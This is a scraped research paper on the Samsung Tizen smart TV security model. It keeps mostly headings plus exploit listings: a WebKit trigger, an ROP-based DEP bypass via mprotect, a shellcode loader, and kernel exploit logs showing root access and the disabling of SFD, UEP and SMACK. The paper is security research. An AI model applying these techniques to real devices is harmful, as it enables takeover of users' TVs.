Analysis of Tizen Security Model and Ways of Bypassing It on Smart TV Platform
Abstract
:1. Introduction
1.1. Area of Research
1.2. Preliminary Analysis of Research Gap
1.3. Security Concerns
2. Related Works
3. Tizen Security Model
- Data Execution Prevention (DEP) [46] is a security mechanism that disallows direct execution of data. In the 90s and early 2000s, data were often marked as read, write, and execute—RWX (https://kc.mcafee.com/corporate/index?page=content&id=KB58554, accessed on 15 December 2021) which made exploitation of such systems very easy. Nowadays on Linux systems, memory for data is mapped as PROT_READ | PROT_WRITE—(RW) (https://man7.org/linux/man-pages/man2/mmap.2.html, accessed on 15 December 2021) and does not have PROT_EXEC—(X) permissions. The same principle is implemented on Tizen OS, making it necessary to bypass DEP for successful exploitation.
- Security Framework (SF) Filter Driver (D) is a security layer used on Samsung smart TV with Tizen OS, which besides blocking certain file system access (verified by UEP), also filters network activity. It can filter both inbound and outbound traffic using both TCP and UDP protocols (https://github.com/mmajchr/SamsungKernelSecurity/blob/main/sfd/dispatcher/SfFirewallRulesList.c, accessed on 15 December 2021). Network requests can be blocked based on IP, network mask, port, and subnetwork (remote or local). Everything is handled by list of rules (https://github.com/mmajchr/SamsungKernelSecurity/blob/main/sfd/dispatcher/SfRulesList.c, accessed on 15 December 2021) which to speed up whole process are cached (https://github.com/mmajchr/SamsungKernelSecurity/blob/main/sfd/dispatcher/SfdCache.c, accessed on 15 December 2021).
- Unauthorized Execution Prevention (UEP) has one task: checking whether in partitions, with read/write access executed files, libraries or kernel modules have a valid signature [47]. Every unsigned binary is not allowed to be executed. Every unsigned library cannot be loaded (even by processes owned by root), and unsigned kernel modules cannot be loaded (even by root).
- SMACK is a kernel-based implementation of Mandatory Access Control used in the Tizen operating system and recently was added into Linux kernel [48]. SMACK primary function is to protect data and limit process interaction. SMACK is based on three components: subject, object, and access type. Those components make up a set of rules, which are used to determine whether a given task has enough privileges or not to access the resource which it is trying to [26]. On Tizen OS, SMACK is used to block specific accesses (on smart TV, it is over 15,000 rules) to the filesystem, network, processes, etc.
4. Smart TV Applications
5. Example of Attack Scenario
5.1. Attacking WebBrowser
- <html> <style>html,em:nth-child(5){
- height: 500px }
- </style> <script> function load() {
- var cssRules = window.getMatchedCSSRules(document.documentElement);
- cssRules[0].selectorText = ’a’; }
- </script> <iframe onload=load()> </html>
- class ArrayBuffer : public RefCounted<ArrayBuffer> {
- unsigned m_refCount; //+0
- void* m_data; //+4
- unsigned m_sizeInBytes; // +8
- ArrayBufferView* m_firstView; // +0xC
- }
5.1.1. Bypassing DEP
- int mprotect(void *addr, size_t len, int prot);
- .text:45ABC368; CODE XREF: WebKit :: PluginControllerProxy :: didReceivePluginControllerProxyMessage(CoreIPC :: Connection *, CoreIPC :: MessageDecoder &)
- . . .
- .text:45ABC36E LDR R0, [R0,#0x1C]
- .text:45ABC370 DR R2, [R1,#4]
- .text:45ABC372 LDR R3, [R0]
- .text:45ABC374 LDR.W R3, [R3,#0xA4]
- .text:45ABC378 CBZ R2, loc_45ABC37E
- .text:45ABC37A LDR R1, [R1]
- .text:45ABC37C BX R3
- aspace32[fkvtable/4 + setscrollleft_idx] = gadget_addr; //gadget address
- aspace32[vtable_addr/4 + 0x1C/4] = page_in_buffer_addr; //LDR R0, [R0,#0x1C]
- aspace32[page_in_buffer_addr/4] = page_in_buffer_addr + 0x30; // LDR R3, [R0]
- aspace32[page_in_buffer_addr/4 +
- + 0x30/4 + 0xA4/4] = mprotect_addr; // R3, [R3,#0xA4]
- aspace32[page_in_buffer_addr/4 +
- + 0x10/4 + 1] = PROT_READ|PROT_WRITE|PROT_EXEC; // LDR R2, [R1,#4]
- aspace32[page_in_buffer_addr/4 + 0x10/4] = 0x2000; // LDR R1, [R1]
- eleobj.scrollLeft = page_in_buffer_addr + 0x10;
- if(find_usb(ctx , (int*)size))
- {
- size=sc_get_file_size_asm(ctx->path);
- shellcode=sc_mmap_shellcode_asm(sc_open_readonly_asm(ctx->path), size);
- sc_cacheflush_asm(shellcode, size);
- shellcode();
- }
5.2. Kernel Level Exploitation
5.2.1. The First Stage Shellcode
- static void SC_DECL sc_cacheflush_asm(void * start, unsigned int size)
- {
- asm volatile (
- _s("push {r7,lr};")
- _s("add r1, r0, r1;")
- _t("mov r2, $0x0;")
- _t("mov r7, $0xf;")
- _t("lsl r7, r7, #16;")
- _t("add r7, $0x2;")
- _t("svc 1;")
- _t("pop {r7,pc};"));
- }
5.2.2. Second Stage Shellcode
- static void SC_SUB_DECL init_ctx(sc_ctx_t* ctx)
- {
- struct stat st;
- int fd;
- unsigned int libdl_base;
- fd=sc_open(ctx->c_libdl,O_RDONLY);
- sc_stat(ctx->c_libdl,&st);
- void *ld_mem=sc_mmap(0,st.st_size ,PROT_READ, MAP_PRIVATE, fd, 0);
- if(ld_mem);
- {
- libdl_base=find_libdl_base(ctx);
- ctx->dlopen=(void*)((find_sym(ld_mem,ctx->c_dlopen) & 0xFFF) | libdl_base);
- ctx->dlsym=(void*)((find_sym(ld_mem,ctx->c_dlsym) & 0xFFF) | libdl_base);
- sc_munmap(ld_mem, st.st_size);
- }
- sc_close(fd);
- ctx->m=ctx->dlopen(ctx->c_libc ,MY_RTLD_LAZY);
- ctx->fopen=ctx->dlsym(ctx->m, ctx->c_fopen);
- ctx->fprintf=ctx->dlsym(ctx->m, ctx->c_fprintf);
- ctx->fflush=ctx->dlsym(ctx->m, ctx->c_fflush);
- }
- ctx->pid=ctx->fork();
- if(ctx->pid)
- exit_parent(ctx);
- // first child
- ctx->pid=ctx->setsid();
- ctx->signal(SIGHUP,SIG_IGN);
- ctx->pid=ctx->fork();
- if(ctx->pid)
- exit_parent(ctx);
- // second child
- // Set the current working directory to the root directory.
- asm volatile ("ADRL R9, ROOT_DIR;");
- ctx->pid=ctx->chdir(str);
- // Set the user file creation mask to zero.
- ctx->umask(0);
- ctx->pid=ctx->sysconf(_SC_OPEN_MAX);
- for(ctx->i=0;ctx->i<ctx->pid;ctx->i++)
- sc_close(ctx->i);
- asm volatile ("ADRL R9, DEV_NULL;");
- sc_open(str ,O_RDONLY);
- sc_open(str ,O_WRONLY);
- sc_open(str ,O_RDWR);
- asm volatile ("ADRL R9, CHILD_READY;");
- ctx->fprintf(ctx->fp , str , ctx->getpid());
- ctx->fflush(ctx->fp);
5.2.3. Execution of Kernel Exploit
- [+] Changing fd limit from 1024 to 4096
- [+] Getting pipes: 0
- [+] Dumping memory
- [+] Allocating memory
- [+] Reading memory at address: 0xc04a0000
- [+] Starting map/unmap thread
- [+] Starting read thread: 0
- [+] Spraying kernel heap
- [+] Starting writev thread: 0
- [+] Dumped 3 KiB
- ...
- [+] Parsing kernel dump
- [+] Found exports table at: 0xc04a68b4
- [+] Processing 5815 entries from exports table...
- [+] Found I_BDEV: 0xc00fd6f4
- [+] Found __copy_from_user: 0xc01c97d4
- [+] Found __copy_to_user: 0xc01c9c00
- [+] Found commit_creds: 0xc0058eb4
- [+] Found elf_set_personality: 0xc0010a24
- [+] Found finish_open: 0xc00ce184
- [+] Found init_task: 0xc051b340
- [+] Found memset: 0xc01cbcc0
- [+] Found prepare_kernel_cred: 0xc0059370
- [+] Found strcmp: 0xc01d4090
- [+] Found try_module_get: 0xc007b464
- [+] Found crypto_alg_sem: 0xc05261ec
- [+] Successfully parsed kernel
- [+] Parsing kernel dump
- [+] Found syscall table at: 0xc00111c4
- [+] Successfully parsed kernel
- [+] Second read worked
- [+] Allocating memory
- [+] Installing copy_from_user syscall
- [+] Patching address 0xc001169c with value 0xc01c97d4
- [+] Startng map/unmap thread
- [+] Starting write thread: 0
- [+] Spraying kernel heap
- [+] Starting readv thread: 0
- [+] Overflow value: 0xc01c97d4
- [+] Done
- [+] First write worked
5.2.4. Achieving Root Access
- [+] Installing first func ptr
- [+] Patching address 0xc00116a0 with value 0xc0059370
- [+] Got result: 0x00000000
- [+] Second write worked
- [+] Got result: 0xc2867200
- [+] Installing second func ptr
- [+] Patching address 0xc00116a0 with value 0xc0058eb4
- [+] Third write worked
- [+] Installing copy_to_user syscall
- [+] Fourth write worked
- [+] Got result: 0x00000000
- [+] Sleeping for 1 seconds to end threads
- [+] UID: 0
5.2.5. Disabling Tizen OS Security Features
- As DEP is only an issue during the exploitation and does not pose any serious restrictions after obtaining root, we only bypassed it temporarily (Section 5.1.1).
- SFD restricts filesystem as well as network access (Section 3). Final decision whether specific activity should be blocked or not is made in SfdPerformBlocking (https://github.com/mmajchr/SamsungKernelSecurity/blob/main/sfd/dispatcher/SfdDispatcher.c, accessed on 15 December 2021) function. Therefore, we decided to disable SFD (Figure 4) by patching this function (Listing 13) so it always returns SF_STATUS_OK (0) and as a result forcing SFD to allow all possible actions.
- UEP blocks all executables, libraries, and kernel modules that do not have a valid signature (Section 3). Since processes are validated on launch, the only way of bypassing is to load additional code using some vulnerability of already running process (Section 5.1). Final decision on whether specific action should be blocked is made in SfdUepPacketHandler (https://github.com/mmajchr/SamsungKernelSecurity/blob/main/sfd/uep/SfdUepHookHandlers.c, accessed on 15 December 2021) function. UEP uses s_uepStatus global variable as a kind of flag which indicates whether framework is active or not. Therefore, we decided to completely disable it (Figure 4) by finding UEP location in the kernel memory and changing s_uepStatus flag to 0 (Listing 13).
- SMACK restricts a lot of filesystem and memory operations (Section 3) based on specific rules (over 15,000 on smart TV). Internally, SMACK uses similar approach as SELinux framework (https://www.kernel.org/doc/html/v4.13/admin-guide/LSM/SELinux.html, accessed on 15 December 2021). When performing different tasks kernel checks security_operations (https://elixir.bootlin.com/linux/v4.1/source/include/linux/security.h#L1460, accessed on 15 December 2021) structure. If the framework is enabled, specific hooks are executed before kernel original functionality to check whether the specific operation is allowed. When SELinux is disabled kernel does the same thing but instead security_operations structure is set to default_security_ops (https://elixir.bootlin.com/linux/v4.1/source/security/security.c#L37, accessed on 15 December 2021) which has all fields filled with stub functions (https://elixir.bootlin.com/linux/v4.1/source/security/capability.c#L949, accessed on 15 December 2021) that always “return 0” and as a result allow all operations. As a result, SMACK is heavily integrated (using the SELinux mechanism) into the kernel itself. There is no simple "flag" that could be changed or a single function that could be patched to disable it. Therefore, we decided to restore kernel original functionality by overwriting SMACKs security operations structure (smack_ops) (https://github.com/mmajchr/SamsungKernelSecurity/blob/74dc1d629822682cce56d3118593da0fb79d916b/smack/smack_lsm.c#L4744, accessed on 15 December 2021) with values from default_security_ops, which as a result allows all actions and disables framework completely (Listing 13).
- [+] Trying to locate SFD
- [+] Found do_dentry_open at: 0xc00cdd38
- [+] Found try_module_get branch at: 0xc00cde4c
- [+] Found sf_security_file_open function at: 0xc01ace80
- [+] Found memset branch at: 0xc01acee4
- [+] Found SfdPerformBlocking function at: 0xc01aca24
- [+] Disabled SFD
- [+] Trying to locate UEP
- [+] Disabling UEP at: 0xc05261e8
- [+] UEP Disabled
- [+] Trying to locate SMACK
- [+] Starting SMACK search at: 0xc05251ec
- [+] Found SMACK fops at: 0xc0525a7c
- [+] Disabling SMACK at: 0xc0525a88
- [+] SMACK Disabled
- [+] Got root!!!!
6. Results
7. Legality and Ethics of Conducted Research
8. Conclusions
8.1. Possible Mitigation Techniques
8.2. Significance of Further Research in this Field and the Current State of the Industry
Author Contributions
Funding
Institutional Review Board Statement
Informed Consent Statement
Data Availability Statement
Conflicts of Interest
References
- Majchrowicz, M.; Kapusta, P.; Jackowska-Strumiłło, L.; Banasiak, R.; Sankowski, D. Multi-GPU, multi-node algorithms for acceleration of image reconstruction in 3D Electrical Capacitance Tomography in heterogeneous distributed system. Sensors 2020, 20, 391. [Google Scholar] [CrossRef] [Green Version]
- Majchrowicz, M.; Kapusta, P.; Jackowska-Strumillo, L. Application of Different Kinds of Interfaces in Modern Devices for Taking Care of People. In Proceedings of the 2018 11th International Conference on Human System Interaction (HSI), Gdansk, Poland, 4–6 July 2018; pp. 207–213. [Google Scholar] [CrossRef]
- Grzelczak, M.; Duch, P. Deep Reinforcement Learning Algorithms for Path Planning Domain in Grid-like Environment. Appl. Sci. 2021, 11, 11335. [Google Scholar] [CrossRef]
- Duch, P.; Jaworski, T. Enriching Computer Science Programming Classes with Arduino Game Development. In Proceedings of the 2018 11th International Conference on Human System Interaction (HSI), Gdansk, Poland, 4–6 July 2018; pp. 148–154. [Google Scholar] [CrossRef]
- Duch, P.; Jaworski, T. Dante—Automated Assessments Tool for Students’ Programming Assignments. In Proceedings of the 2018 11th International Conference on Human System Interaction (HSI), Gdansk, Poland, 4–6 July 2018; pp. 162–168. [Google Scholar] [CrossRef]
- Perenc, I.; Jaworski, T.; Duch, P. Teaching programming using dedicated Arduino educational board. Comput. Appl. Eng. Educ. 2019, 27, 943–954. [Google Scholar] [CrossRef]
- Horalek, J.; Sobeslav, V. Cybersecurity Analysis of IoT Networks. In International Conference on Computational Collective Intelligence; Springer: Cham, Switzerland, 2019; pp. 488–499. [Google Scholar]
- Shelupanov, A.; Evsyutin, O.; Konev, A.; Kostyuchenko, E.; Kruchinin, D.; Nikiforov, D. Information Security Methods—Modern Research Directions. Symmetry 2019, 11, 150. [Google Scholar] [CrossRef] [Green Version]
- Fujdiak, R.; Mlynek, P.; Mrnustik, P.; Barabas, M.; Blazek, P.; Borcik, F.; Misurec, J. Managing the secure software development. In Proceedings of the 2019 10th IFIP International Conference on New Technologies, Mobility and Security (NTMS), Canary Islands, Spain, 24–26 June 2019; pp. 1–4. [Google Scholar]
- Majchrowicz, M.; Kapusta, P. Rooting smart TVs by exploiting design flaws in application framework. Proceedings of International Interdisciplinary PhD Workshop 2017, Lodz, Poland, 9–11 September 2017; pp. 8–14. [Google Scholar]
- Majchrowicz, M.; Kapusta, P.; Faustryjak, D.; Jackowska-Strumillo, L. System for remote parental control and management of rooted smart TVs. In Proceedings of the 2018 International Interdisciplinary PhD Workshop (IIPhDW), Swinoujscie, Poland, 9–12 May 2018; pp. 357–360. [Google Scholar] [CrossRef]
- Ghiglieri, M.; Volkamer, M.; Renaud, K. Exploring consumers’ attitudes of smart TV related privacy risks. In Proceedings of the International Conference on Human Aspects of Information Security, Privacy, and Trust, Vancouver, BC, Canada, 9–14 July 2017; Springer: Cham, Switzerland, 2017; pp. 656–674. [Google Scholar]
- Matyszczyk, C. Samsung’s Warning: Our smart TVs Record Your Living Room Chatter. CNet News, 8 February 2015. [Google Scholar]
- Michéle, B.; Karpow, A. Watch and be watched: Compromising all smart TV generations. In Proceedings of the 2014 IEEE 11th Consumer Communications and Networking Conference (CCNC), Las Vegas, NV, USA, 10–13 January 2014; pp. 351–356. [Google Scholar]
- Goud, N. FBI Issues Cyber Attack Warning against Smart TVs. 2020. Available online: https://www.infosecurity-magazine.com/news/fbi-issues-smart-tv-cybersecurity/ (accessed on 15 December 2021).
- Kolnowski, T. Smart TVs Continue to Resonate with Global Consumers. 2019. Available online: https://digitized.house/smart-tvs-continue-to-resonate-with-global-consumers/ (accessed on 15 December 2021).
- Majchrowicz, M.; Duch, P. Automatic Symbol Resolution on Embedded Platforms by the Example of smart TV Device. Appl. Sci. 2021, 11, 3674. [Google Scholar] [CrossRef]
- Bishop, B. Tizen Project Hits 1.0, Source Code and SDK Released. 2012. Available online: https://www.theverge.com/2012/5/2/2992894/tizen-project-hits-1-0-source-code-and-sdk-released (accessed on 15 December 2021).
- Goud, N. Which Phone Protects Your Security the Best? We Asked the Experts. 2017. Available online: https://www.mobilcare.ca/phone-protects-security-best-asked-experts/ (accessed on 15 December 2021).
- Grimes, R.A. Macs’ Low Popularity Keeps Them Safer from Hacking and Malware. 2009. Available online: https://www.csoonline.com/article/2629811/macs–low-popularity-keeps-them-safer-from-hacking-and-malware.html (accessed on 15 December 2021).
- Samsung’s Tizen OS Leads Global Smart TV Market. 2019. Available online: https://www.broadbandtvnews.com/2019/03/25/samsungs-tizen-os-leads-global-smart-tv-market/ (accessed on 15 December 2021).
- Asrar, I. Attack Surface Analysis of the Tizen OS; Intel Security Group: Santa Clara, CA, USA, 2015. [Google Scholar]
- Abraham, A. Hacking Tizen: The OS of Everything. In Proceedings of the HITBSecConf—Hack In The Box Security Conference, Amsterdam, The Netherlands, 26–29 May 2015. [Google Scholar]
- Gadyatskaya, O.; Massacci, F.; Zhauniarovich, Y. Security in the Firefox OS and Tizen Mobile Platforms. Computer 2014, 47, 57–63. [Google Scholar] [CrossRef]
- Drozhzhin, A. Tizen OS: 40 new Vulnerabilities. 2021. Available online: https://www.kaspersky.com/blog/tizen-40-bugs/14525/ (accessed on 15 December 2021).
- Song, D.; Zhao, J.; Burke, M.; Sbirlea, D.; Wallach, D.; Sarkar, V. Finding Tizen security bugs through whole-system static analysis. arXiv 2015, arXiv:1504.05967. [Google Scholar]
- Matulac, J. Case Study of Tizen Operating System; University of Philippines Open University: Laguna, Philippines, 2016. [Google Scholar] [CrossRef]
- Bachy, Y.; Nicomette, V.; Kaâniche, M.; Alata, E. Smart-TV security: Risk analysis and experiments on Smart-TV communication channels. J. Comput. Virol. Hacking Tech. 2019, 15, 61–76. [Google Scholar] [CrossRef] [Green Version]
- Plachkinova, M.; Vo, A.; Alluhaidan, A. Emerging Trends in Smart Home Security, Privacy, and Digital Forensics. 2016. Available online: https://aisel.aisnet.org/amcis2016/ITProj/Presentations/23/ (accessed on 15 December 2021).
- Santani, A.; Gangaramani, M.; Chopra, B.; Choudhary, P.; Samdani, K. An Overview of Architecture and Security Issues of a smart TV. In Proceedings of the 2021 6th International Conference on Communication and Electronics Systems (ICCES), Coimbatre, India, 8–10 July 2021; pp. 1835–1843. [Google Scholar]
- Openlgtv. Available online: http://openlgtv.org.ru/wiki/index.php/Wiki_index (accessed on 30 September 2018).
- Altinyurt, E.U. SamyGO. Available online: http://www.samygo.tv:samygo (accessed on 30 September 2018).
- Abdi-Nur, A.; Azar, M.; Fang, C.; Hoffman, C. smart TV Upgrade, Privacy Downgrade? J. Colloq. Inf. Syst. Secur. Educ. 2017, 5, 22. [Google Scholar]
- Welt, N. Weeping Angel: The Latest Surveillance Tool, That Can Turn Your Smart TV into a Bug TV. 2017. Available online: http://mastersofmedia.hum.uva.nl/blog/2017/09/25/weeping-angel-cia-bug-smart-tv/ (accessed on 15 December 2021).
- Ghiglieri, M.; Waidner, M. HbbTV security and privacy: Issues and challenges. IEEE Secur. Priv. 2016, 14, 61–67. [Google Scholar] [CrossRef]
- Oren, Y.; Keromytis, A.D. From the aether to the ethernet—Attacking the internet using broadcast digital television. In Proceedings of the 23rd USENIX Security Symposium (USENIX Security 14), San Diego, CA, USA, 20–22 August 2014; pp. 353–368. [Google Scholar]
- Claverie, T.; Esteves, J.L.; Kasmi, C. Smart TVs: Security of DVB-T. In Proceedings of the Symposium on Information and Communications Security, Rennes, France, 13–15 June 2018. [Google Scholar]
- Bachy, Y.; Basse, F.; Nicomette, V.; Alata, E.; Kaaniche, M.; Courrege, J.C.; Lukjanenko, P. Smart-TV security analysis: Practical experiments. In Proceedings of the 2015 45th Annual IEEE/IFIP International Conference on Dependable Systems and Networks, Rio de Janeiro, Brazil, 22–25 June 2015; pp. 497–504. [Google Scholar]
- Travis, G. Emulating USB DFU to Capture Firmware. 2012. Available online: http://travisgoodspeed.blogspot.com/2012/10/emulating-usb-dfu-to-capture-firmware.html (accessed on 15 December 2021).
- Sidiropoulos, N.; Stefopoulos, P. Smart TV hacking. Res. Proj. 2013, 1, 2012–2013. [Google Scholar]
- Halbronn, C.; Sigwald, J. iPhone security model & vulnerabilities. In Proceedings of the Hack in the Box Sec-Conference, Kuala Lumpur, Malaysia, 8–11 October 2010. [Google Scholar]
- Mayrhofer, R.; Stoep, J.V.; Brubaker, C.; Kralevich, N. The android platform security model. arXiv 2019, arXiv:1904.05572. [Google Scholar] [CrossRef]
- Chen, L.; Shashidhar, N.; Rawat, D.; Yang, M.; Kadlec, C. Investigating the security and digital forensics of video games and gaming systems: A study of PC games and PS4 console. In Proceedings of the 2016 International Conference on Computing, Networking and Communications (ICNC), Kauai, HI, USA, 15–18 February 2016; pp. 1–5. [Google Scholar]
- Wololo. The HENkaku Exploit Partially Reverse Engineered and Explained; Wololo, 2016. Available online: https://wololo.net/2016/08/04/henkaku-exploit-partially-reverse-engineered-explained/ (accessed on 15 December 2021).
- Saxena, A.; Soh, B. Authenticating mobile agent platforms using signature chaining without trusted third parties. In Proceedings of the 2005 IEEE International Conference on e-Technology, e-Commerce and e-Service, Hong Kong, China, 29 March–1 April 2005; pp. 282–285. [Google Scholar]
- Sushma Jain, P.R. Buffer Overflow: Proof of Concept Implementation. Int. J. Sci. Res. Manag. 2017, 2, 1201–1204. [Google Scholar]
- Michéle, B. Smart TV Security: Media Playback and Digital Video Broadcast; Springer: Berlin/Heidelberg, Germany, 2015. [Google Scholar]
- Kernel Development Community. Smack—The Linux Kernel Documentation. Available online: https://www.kernel.org/doc/html/v4.18/admin-guide/LSM/Smack.html (accessed on 15 November 2021).
- Wang, Y.; Wu, W.; Zhang, C.; Xing, X.; Gong, X.; Zou, W. From proof-of-concept to exploitable. Cybersecurity 2019, 2, 1. [Google Scholar] [CrossRef] [Green Version]
- Liang, Y.; Peng, G.; Luo, Y.; Zhang, H. Mitigating ROP attacks via ARM-specific in-place instruction randomization. China Commun. 2016, 13, 208–226. [Google Scholar] [CrossRef]
- Lee, Y.; Lee, J.; Heo, I.; Hwang, D.; Paek, Y. Integration of ROP/JOP monitoring IPs in an ARM-based SoC. In Proceedings of the 2016 Design, Automation Test in Europe Conference Exhibition (DATE), Dresden, Germany, 14–18 March 2016; pp. 331–336. [Google Scholar]
- Bletsch, T.; Jiang, X.; Freeh, V.W.; Liang, Z. Jump-Oriented Programming: A New Class of Code-Reuse Attack. In Proceedings of the 6th ACM Symposium on Information, Computer and Communications Security, ASIACCS ’11, Hong Kong, China, 22–24 March 2011; Association for Computing Machinery: New York, NY, USA, 2011; pp. 30–40. [Google Scholar] [CrossRef]
- Micro, T. CVE-2015-1805 Allows Permanent Rooting of Android. 2016. Available online: https://www.trendmicro.com/en_us/research/16/c/critical-cve-2015-1805-vulnerability-allows-permanent-rooting-android-phones.html (accessed on 15 December 2021).
- Wired. U.S. Declares iPhone Jailbreaking Legal, Over Apple’s Objections; Wired, 2018. Available online: https://www.wired.com/2010/07/feds-ok-iphone-jailbreaking/ (accessed on 15 December 2021).
- InfoSecurity. Apple iPhone Jailbreaking Is ’Okay under EU Law’; InfoSecurity, 2010. Available online: https://www.infosecurity-magazine.com/news/apple-iphone-jailbreaking-is-okay-under-eu-law/ (accessed on 15 December 2021).
- Bishop, M. About Penetration Testing. IEEE Secur. Priv. 2007, 5, 84–87. [Google Scholar] [CrossRef]
- Bertoglio, D.; Zorzo, A. Overview and open issues on penetration test. J. Braz. Comput. Soc. 2017, 23, 2. [Google Scholar] [CrossRef] [Green Version]
- Zhao, J.J.; Zhao, S.Y.; Zhao, S.Y. Opportunities and threats: A security assessment of state e-government websites. Gov. Inf. Q. 2010, 27, 49–56. [Google Scholar] [CrossRef]
- Cavusoglu, H.; Cavusoglu, H.; Raghunathan, S. Efficiency of Vulnerability Disclosure Mechanisms to Disseminate Vulnerability Knowledge. IEEE Trans. Softw. Eng. 2007, 33, 171–185. [Google Scholar] [CrossRef]
- Ding, A.Y.; De Jesus, G.L.; Janssen, M. Ethical Hacking for Boosting IoT Vulnerability Management: A First Look into Bug Bounty Programs and Responsible Disclosure; ICTRS ’19; Association for Computing Machinery: New York, NY, USA, 2019; pp. 49–55. [Google Scholar] [CrossRef] [Green Version]
- Ķinis, U. From Responsible Disclosure Policy (RDP) towards State Regulated Responsible Vulnerability Disclosure Procedure (hereinafter—RVDP): The Latvian approach. Comput. Law Secur. Rev. 2018, 34, 508–522. [Google Scholar] [CrossRef]
- Liu, D.; Zhang, M.; Wang, H. A Robust and Efficient Defense against Use-after-Free Exploits via Concurrent Pointer Sweeping. In Proceedings of the 2018 ACM SIGSAC Conference on Computer and Communications Security, CCS ’18, Toronto, ON, Canada, 15–19 October 2018; Association for Computing Machinery: New York, NY, USA, 2018; pp. 1635–1648. [Google Scholar] [CrossRef]
- Zhang, M.; Zonouz, S. Use-After-Free Mitigation via Protected Heap Allocation. In Proceedings of the 2018 IEEE Conference on Dependable and Secure Computing (DSC), Kaohsiung, Taiwan, 10–13 December 2018; pp. 1–8. [Google Scholar] [CrossRef]
- Wickman, B.; Hu, H.; Yun, I.; Jang, D.; Lim, J.; Kashyap, S.; Kim, T. Preventing Use-After-Free Attacks with Fast Forward Allocation. In Proceedings of the 30th USENIX Security Symposium (USENIX Security 21), USENIX Association, San Francisco, CA, USA, 11–13 August 2021; pp. 2453–2470. [Google Scholar]
- Kane, L.E.; Chen, J.J.; Thomas, R.; Liu, V.; Mckague, M. Security and Performance in IoT: A Balancing Act. IEEE Access 2020, 8, 121969–121986. [Google Scholar] [CrossRef]
- Lu, Y.L.; Lei, Y.J. Analysis of Linux 2.6 Memory Protection Mechanism. Aeronaut. Comput. Tech. 2006, 3, https://en.cnki.com.cn/Article_en/CJFDTotal–HKJJ200603015htm. Available online: https://en.cnki.com.cn/Article_en/CJFDTotal-HKJJ200603015.htm (accessed on 15 December 2021).
- Morris, J. Linux kernel security overview. In Proceedings of the Kernel Conference Australia, Brisbane, Australia, 15–17 July 2009. [Google Scholar]
- Vaneet, M.S. Linux Kernel Memory Protection (ARM); University in Pilani: Rajasthan, India, 2014. [Google Scholar]
- Kuzuno, H.; Yamauchi, T. Mitigation of Kernel Memory Corruption Using Multiple Kernel Memory Mechanism. IEEE Access 2021, 9, 111651–111665. [Google Scholar] [CrossRef]
- Software Engineering Institute, CERT Coordination Center. Heap-Based Buffer Overflow in Sudo. 2021. Available online: https://www.kb.cert.org/vuls/id/794544 (accessed on 15 December 2021).
Security | Acquired Access Level | DEP User Level | DEP Kernel Level | SFD | UEP | SMACK | |
---|---|---|---|---|---|---|---|
Method | |||||||
Using Native Application SDK [23] | User | Bypassed | Active | Active | Active | Active | |
Exploitation of Tizen OS specific vulnerabilities [25] | User | Bypassed | Active | Active | Bypassed | Active | |
Abuse of Tizen API [26] | User | Active | Active | Active | Active | Active | |
General security issues [22,24,27] | User | Active | Active | Active | Active | Active | |
Developed methods | Root & Kernel | Bypassed | Bypassed | Disabled | Disabled | Disabled |
Publisher’s Note: MDPI stays neutral with regard to jurisdictional claims in published maps and institutional affiliations. |
© 2021 by the authors. Licensee MDPI, Basel, Switzerland. This article is an open access article distributed under the terms and conditions of the Creative Commons Attribution (CC BY) license (https://creativecommons.org/licenses/by/4.0/).
Share and Cite
Majchrowicz, M.; Duch, P. Analysis of Tizen Security Model and Ways of Bypassing It on Smart TV Platform. Appl. Sci. 2021, 11, 12031. https://doi.org/10.3390/app112412031
Majchrowicz M, Duch P. Analysis of Tizen Security Model and Ways of Bypassing It on Smart TV Platform. Applied Sciences. 2021; 11(24):12031. https://doi.org/10.3390/app112412031
Chicago/Turabian StyleMajchrowicz, Michał, and Piotr Duch. 2021. "Analysis of Tizen Security Model and Ways of Bypassing It on Smart TV Platform" Applied Sciences 11, no. 24: 12031. https://doi.org/10.3390/app112412031
APA StyleMajchrowicz, M., & Duch, P. (2021). Analysis of Tizen Security Model and Ways of Bypassing It on Smart TV Platform. Applied Sciences, 11(24), 12031. https://doi.org/10.3390/app112412031